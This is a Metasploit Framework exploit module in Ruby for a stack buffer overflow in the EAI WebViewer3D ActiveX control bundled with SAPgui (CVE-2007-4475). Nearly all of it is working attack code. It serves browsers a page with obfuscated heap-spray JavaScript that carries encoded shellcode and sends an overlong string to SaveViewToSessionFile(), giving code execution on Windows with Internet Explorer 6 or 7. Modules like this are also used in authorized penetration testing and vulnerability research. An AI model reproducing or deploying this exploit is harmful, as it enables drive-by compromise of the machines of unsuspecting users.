SAP AG SAPgui EAI WebViewer3D Buffer Overflow



##

# $Id: sapgui_saveviewtosessionfile.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking

    include Msf::Exploit::Remote::HttpServer::HTML

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'SAP AG SAPgui EAI WebViewer3D Buffer Overflow',
            'Description'    => %q{
                    This module exploits a stack buffer overflow in Siemens Unigraphics Solutions
                Teamcenter Visualization EAI WebViewer3D ActiveX control that is bundled
                with SAPgui. When passing an overly long string the SaveViewToSessionFile()
                method, arbitrary code may be executed.
            },
            'License'        => MSF_LICENSE,
            'Author'         => [ 'MC' ],
            'Version'        => '$Revision: 9262 $',
            'References'     =>
                [
                    [ 'CVE', '2007-4475' ],
                    [ 'OSVDB', '53066' ],
                    [ 'US-CERT-VU','985449' ],
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process',
                },
            'Payload'        =>
                {
                    'Space'         => 1024,
                    'BadChars'      => "\x00",
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    [ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => '' } ]
                ],
            'DisclosureDate' => 'Mar 31 2009',
            'DefaultTarget'  => 0))
    end

    def autofilter
        false
    end

    def check_dependencies
        use_zlib
    end

    def on_request_uri(cli, request)
        # Re-generate the payload.
        return if ((p = regenerate_payload(cli)) == nil)

        # Encode the shellcode.
        shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

        # Create some nops.
        nops    = Rex::Text.to_unescape(make_nops(4))

        # Set the return.
        ret = Rex::Text.uri_encode(Metasm::Shellcode.assemble(Metasm::Ia32.new, "or cl,[edx]").encode_string * 2)

        # Randomize the javascript variable names.
        vname  = rand_text_alpha(rand(100) + 1)
        var_i  = rand_text_alpha(rand(30)  + 2)
        rand1  = rand_text_alpha(rand(100) + 1)
        rand2  = rand_text_alpha(rand(100) + 1)
        rand3  = rand_text_alpha(rand(100) + 1)
        rand4  = rand_text_alpha(rand(100) + 1)
        rand5  = rand_text_alpha(rand(100) + 1)
        rand6  = rand_text_alpha(rand(100) + 1)
        rand7  = rand_text_alpha(rand(100) + 1)
        rand8  = rand_text_alpha(rand(100) + 1)

        content = %Q|
        <html>
            <object id='#{vname}' classid='clsid:AFBBE070-7340-11D2-AA6B-00E02924C34E'></object>
            <script language="JavaScript">
                var #{rand1} = unescape('#{shellcode}');
                var #{rand2} = unescape('#{nops}');
                var #{rand3} = 20;
                var #{rand4} = #{rand3} + #{rand1}.length;
                while (#{rand2}.length < #{rand4}) #{rand2} += #{rand2};
                var #{rand5} = #{rand2}.substring(0,#{rand4});
                var #{rand6} = #{rand2}.substring(0,#{rand2}.length - #{rand4});
                while (#{rand6}.length + #{rand4} < 0x40000) #{rand6} = #{rand6} + #{rand6} + #{rand5};
                var #{rand7} = new Array();
                for (#{var_i} = 0; #{var_i} < 400; #{var_i}++){ #{rand7}[#{var_i}] = #{rand6} + #{rand1} }
                var #{rand8} = "";
                for (#{var_i} = 0; #{var_i} < 12500; #{var_i}++) { #{rand8} = #{rand8} + unescape('#{ret}') }
                #{vname}.SaveViewToSessionFile(#{rand8});
            </script>
        </html>
            |

        content = Rex::Text.randomize_space(content)

        print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")

        # Transmit the response to the client
        send_response_html(cli, content)

        # Handle the payload
        handler(cli)
    end

end